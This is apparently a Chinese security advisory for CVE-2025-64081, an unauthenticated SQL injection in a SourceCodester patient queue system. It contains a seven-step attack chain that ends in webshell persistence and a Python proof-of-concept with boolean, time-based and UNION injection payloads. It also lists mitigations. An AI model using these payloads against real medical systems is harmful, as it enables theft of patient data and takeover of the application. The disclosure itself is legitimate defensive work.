IPBUF安全漏洞报告
English
CVE-2025-64081 CVSS 9.8 严重

CVE-2025-64081 SourceCodester患者候诊区队列管理系统SQL注入漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-64081
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Patients Waiting Area Queue Management System v1

相关标签

CVE-2025-64081SQL注入SourceCodesterPatients Waiting Queue Management System无认证利用关键漏洞医疗系统appointmentID参数数据库注入CVSS 9.8

漏洞概述

CVE-2025-64081是一个严重程度为CRITICAL的SQL注入漏洞,CVSS评分高达9.8分。该漏洞存在于SourceCodester公司开发的患者候诊区队列管理系统(Patients Waiting Area Queue Management System)v1版本中的/php/api_patient_schedule.php文件里。漏洞允许未经认证的远程攻击者通过appointmentID参数注入任意SQL命令,从而对数据库执行未授权操作。

患者候诊区队列管理系统是一种用于医疗机构管理患者排队等候的应用软件,通常部署在医院、诊所等医疗场所。该系统负责管理患者预约信息、排队顺序、就诊安排等敏感数据。由于系统处理的是医疗相关的个人敏感信息,一旦被攻击者利用此SQL注入漏洞,将导致严重的医疗数据泄露风险。

攻击者利用此漏洞可以执行以下恶意操作:提取数据库中的患者个人信息(包括姓名、联系方式、病史等敏感数据)、修改或删除患者预约记录、获取系统管理员凭据、甚至在某些配置下执行操作系统命令。由于该漏洞无需认证即可利用,且攻击向量为网络层面,攻击者可以在互联网上远程发起攻击,无需任何前期准备或用户交互。

此漏洞的CVSS向量显示其具有完整的机密性、完整性和可用性影响(C:H/I:H/A:H),意味着攻击者可以完全控制受影响系统的数据,并可能影响系统的正常运行。建议受影响的用户立即采取修复措施,避免遭受攻击。

技术细节

该SQL注入漏洞存在于php/api_patient_schedule.php文件中的appointmentID参数处理逻辑。当应用程序处理患者预约信息时,直接将用户提供的appointmentID参数值拼接到SQL查询语句中,而未进行充分的输入验证或使用参数化查询。

漏洞原理分析:
1. 用户通过HTTP请求向/php/api_patient_schedule.php发送包含appointmentID参数的请求
2. 后端代码直接将appointmentID参数值拼接到SQL语句中
3. 恶意构造的SQL语句被数据库执行
4. 攻击者通过操控appointmentID参数值,可以实现UNION注入、布尔盲注、时间盲注等多种SQL注入技术

利用方式:
攻击者可以通过以下方式利用此漏洞:
- 使用UNION SELECT语句提取数据库中的敏感表和字段信息
- 通过UNION查询获取用户表中的管理员账号和密码哈希
- 利用ERROR-BASED注入快速获取数据
- 使用时间盲注确认漏洞存在并逐步提取数据

由于该参数直接暴露在URL或POST请求中,且系统未实施任何输入过滤或SQL语句预编译机制,攻击者可以在无需任何认证的情况下远程利用此漏洞。攻击者首先需要识别数据库类型,然后根据数据库特性构造相应的Payload来执行恶意SQL命令。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统:扫描互联网或通过搜索引擎发现运行SourceCodester Patients Waiting Area Queue Management System的医疗机构
STEP 2
步骤2
漏洞探测:访问/php/api_patient_schedule.php端点,测试appointmentID参数是否存在SQL注入漏洞
STEP 3
步骤3
确认注入点:使用单引号、UNION SELECT或时间延迟Payload验证漏洞存在,确认数据库类型(MySQL/MSSQL等)
STEP 4
步骤4
数据库枚举:利用UNION注入或盲注技术获取数据库结构、表名、字段名等元数据信息
STEP 5
步骤5
敏感数据提取:从用户表、预约表等获取患者个人信息、管理员凭据、医疗记录等敏感数据
STEP 6
步骤6
权限提升:利用获取的管理员账号密码登录后台管理系统,进一步控制整个应用
STEP 7
步骤7
持久化控制:在某些配置下,可能通过SQL注入写入Webshell或执行系统命令,建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64081 SQL Injection PoC # Target: SourceCodester Patients Waiting Area Queue Management System v1 # File: /php/api_patient_schedule.php # Parameter: appointmentID import requests import sys target = "http://target.com" # Replace with actual target URL endpoint = "/php/api_patient_schedule.php" def test_sql_injection(url, param_name): """Test for SQL injection vulnerability""" # Basic SQL injection test - Boolean based true_payload = f"' OR '1'='1" # Should return all records false_payload = f"' OR '1'='2" # Should return no records or error # Time-based blind SQL injection for MySQL time_payload = "' AND SLEEP(5)-- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print("[*] Testing CVE-2025-64081 SQL Injection...") # Test 1: Boolean-based injection print("\n[*] Test 1: Boolean-based injection") params_true = {param_name: true_payload} params_false = {param_name: false_payload} try: resp_true = requests.get(url, params=params_true, headers=headers, timeout=10) resp_false = requests.get(url, params=params_false, headers=headers, timeout=10) print(f"[+] True payload response length: {len(resp_true.text)}") print(f"[+] False payload response length: {len(resp_false.text)}") if len(resp_true.text) != len(resp_false.text): print("[!] Potential SQL injection detected!") except Exception as e: print(f"[-] Error: {e}") # Test 2: Time-based blind SQL injection print("\n[*] Test 2: Time-based blind SQL injection") params_time = {param_name: time_payload} try: import time start = time.time() resp_time = requests.get(url, params=params_time, headers=headers, timeout=15) elapsed = time.time() - start print(f"[+] Response time: {elapsed:.2f}s") if elapsed >= 5: print("[!] Time delay detected - SQL injection confirmed!") except Exception as e: print(f"[-] Error: {e}") # Test 3: Database version extraction using UNION injection print("\n[*] Test 3: Database enumeration") union_payload = "' UNION SELECT NULL,NULL,VERSION(),NULL,NULL-- -" params_union = {param_name: union_payload} try: resp_union = requests.get(url, params=params_union, headers=headers, timeout=10) print(f"[+] UNION injection response: {resp_union.text[:500]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] url = f"{target}{endpoint}" test_sql_injection(url, "appointmentID") print("\n[*] PoC completed")

影响范围

SourceCodester Patients Waiting Area Queue Management System v1.0
SourceCodester Patients Waiting Area Queue Management System v1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙或反向代理层面添加规则,过滤包含SQL注入特征的请求(如单引号、UNION SELECT、SLEEP等关键字);2) 临时禁用/php/api_patient_schedule.php接口的访问,直到漏洞修复;3) 对数据库账户权限进行最小化配置,限制其仅能执行必要的操作,防止数据泄露;4) 加强数据库和应用服务器的监控日志,及时发现异常查询行为;5) 考虑部署入侵检测系统(IDS)监控针对该端点的可疑请求。建议尽快关注官方安全公告,获取正式修复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表